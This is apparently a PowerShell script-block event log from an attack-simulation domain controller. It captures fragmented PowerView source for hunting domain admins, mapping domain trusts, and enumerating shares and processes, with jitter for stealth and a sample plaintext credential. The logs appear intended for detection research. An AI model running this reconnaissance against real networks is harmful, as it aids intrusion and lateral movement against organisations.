$SearcherArguments['LDAPFilter'] = '(member=*)'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
}
PROCESS {
# standard group names to ignore
$ExcludeGroups = @('Users', 'Domain Users', 'Guests')
Get-DomainGroup @SearcherArguments | Where-Object { $ExcludeGroups -notcontains $_.samaccountname } | ForEach-Object {
$GroupName = $_.samAccountName
$GroupDistinguishedName = $_.distinguishedname
$GroupDomain = $GroupDistinguishedName.SubString($GroupDistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
$_.member | ForEach-Object {
# filter for foreign SIDs in the cn field for users in another domain,
# or if the DN doesn't end with the proper DN for the queried domain
$MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
if (($_ -match 'CN=S-1-5-21.*-.*') -or ($GroupDomain -ne $MemberDomain)) {
$MemberDistinguishedName = $_
$MemberName = $_.Split(',')[0].split('=')[1]
$ForeignGroupMember = New-Object PSObject
$ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $GroupDomain
$ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName
$ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName
$ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
$ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName
$ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName
$ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember')
$ForeignGroupMember
}
}
}
}
}
function Get-DomainTrustMapping {
<#
.SYNOPSIS
This function enumerates all trusts for the current domain and then enumerates
all trusts for each domain it finds.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust
.DESCRIPTION
This function will enumerate domain trust relationships for the current domain using
a number of methods, and then enumerates all trusts for each found domain, recursively
mapping all reachable trust relationships. By default, and LDAP search using the filter
'(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified
LDAP is used as well. If the -NET flag is specified, the .NET method
GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain
object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is
used to enumerate instead. If any
.PARAMETER API
Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the
built-in LDAP method.
.PARAMETER NET
Switch. Use .NET queries to enumerate trusts instead of the default LDAP method.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv
Map all reachable domain trusts using .NET methods and output everything to a .csv file.
.EXAMPLE
Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv
Map all reachable domain trusts using Win32 API calls and output everything to a .csv file.
.EXAMPLE
Get-DomainTrustMapping -NET | Export-CSV -NoTypeInformation trusts.csv
Map all reachable domain trusts using .NET methods and output everything to a .csv file.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainTrustMapping -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv
Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries
using the specified alternate credentials, and output everything to a .csv file.
.OUTPUTS
PowerView.DomainTrust.LDAP
Custom PSObject with translated domain LDAP trust result fields (default).
PowerView.DomainTrust.NET
A TrustRelationshipInformationCollection returned when using .NET methods.
PowerView.DomainTrust.API
Custom PSObject with translated domain API trust result fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessb68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109921Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3541ER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer(s).
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserEvent
Search for any user events matching domain admins on every DC in the current domain.
.EXAMPLE
$cred = Get-Credential dev\administrator
Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
domain controller using the alternate credential
.EXAMPLE
'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
Find user events on the primary.testlab.local system where the event matches
the IPAddress '192.168.52.200' or '192.168.52.201'.
.EXAMPLE
$cred = Get-Credential testlab\administrator
Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'}
Find user events mathing the specified GUID AND the specified TargetLogonId, searching
through every domain controller in the current domain, enumerating each DC in serial
instead of in a threaded manner, using the alternate credential.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogon
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogon')]
[CmdletBinding(DefaultParameterSetName = 'Domain')]
Param(
[Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(ParameterSetName = 'Domain')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Hashtable]
$Filter,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) {
# otherwise we're querying a specific group
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
# if not -ComputerName is passed, query the current (or target) domain for domain controllers
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain"
$TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
}
if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
$TargetComputers = @(,$TargetComputers)
}
Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)"
Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserEvent] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$DomainUserEventArgs = @{
'ComputerName' = $TargetComputer
}
if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime }
if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime }
if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents }
if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential }
if ($Filter -or $TargetUsers) {
if ($TargetUsers) {
Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName}
}
else {
$Operator = 'or'
$Filter.Keys | ForEach-Object {
if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) {
if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) {
$Operator = 'and'
}
}
}
$Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')}
Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object {
if ($Operator -eq 'or') {
ForEach ($Key in $Keys) {
if ($_."$Key" -match $Filter[$Key]) {
$_
}
}
}
else {
# and all clauses
ForEach ($Key in $Keys) {
if ($_."$Key" -notmatch $Filter[$Key]) {
break
}
$_
}
}
}
}
}
else {
Get-DomainUserEvent @DomainUserEventArgs
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserEvent] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'StartTime' = $StartTime
'EndTime' = $EndTime
'MaxEvents' = $MaxEvents
'TargetUsers' = $TargetUsers
'Filter' = $Filter
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainShare {
<#
.SYNOPSIS
Searches for computer shares on the domain. If -CheckShareAccess is passed,
then only shares the current user has read access to are returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare. If -CheckShareAccess is passed, then
[IO.Directory]::GetFiles() is used to check if the current user has read
access to the given share. If -Credential is passed, then
Invoke-UserImpersonation is used to impersonate the specified user before
enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER CheckShareAccess
Switch. Only display found shares that the local user has access to.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainShare
Find all domain shares in the current domain.
.EXAMPLE
Find-DomainShare -CheckShareAccess
Find all domain shares in the current domain that the current user has
read access to.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainShare -Domain testlab.local -Credential $Cred
Searches for domain shares in the testlab.local domain using the specified alternate credentials.
.OUTPUTS
PowerView.ShareInfo
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ShareInfo')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[Alias('Domain')]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Alias('CheckAccess')]
[Switch]
$CheckShareAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $Cob68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109920Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3441I, returning processes
that match a particular user specification or process name.
Thanks to @paulbrandau for the approach idea.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any current processes running with Get-WMIProcess,
searching for processes running under any target user contexts or with the
specified -ProcessName. If -Credential is passed, it is passed through to
the underlying WMI commands used to enumerate the remote machines.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER ProcessName
Search for processes with one or more specific names.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainProcess
Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
privileged users in dev.testlab.local.
.EXAMPLE
Find-DomainProcess -ProcessName putty.exe
Searchings for instances of putty.exe running on the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainProcess -Domain testlab.local -Credential $Cred
Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserProcess
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'TargetProcess')]
[ValidateNotNullOrEmpty()]
[String[]]
$ProcessName,
[Parameter(ParameterSetName = 'TargetUser')]
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Parameter(ParameterSetName = 'TargetUser')]
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
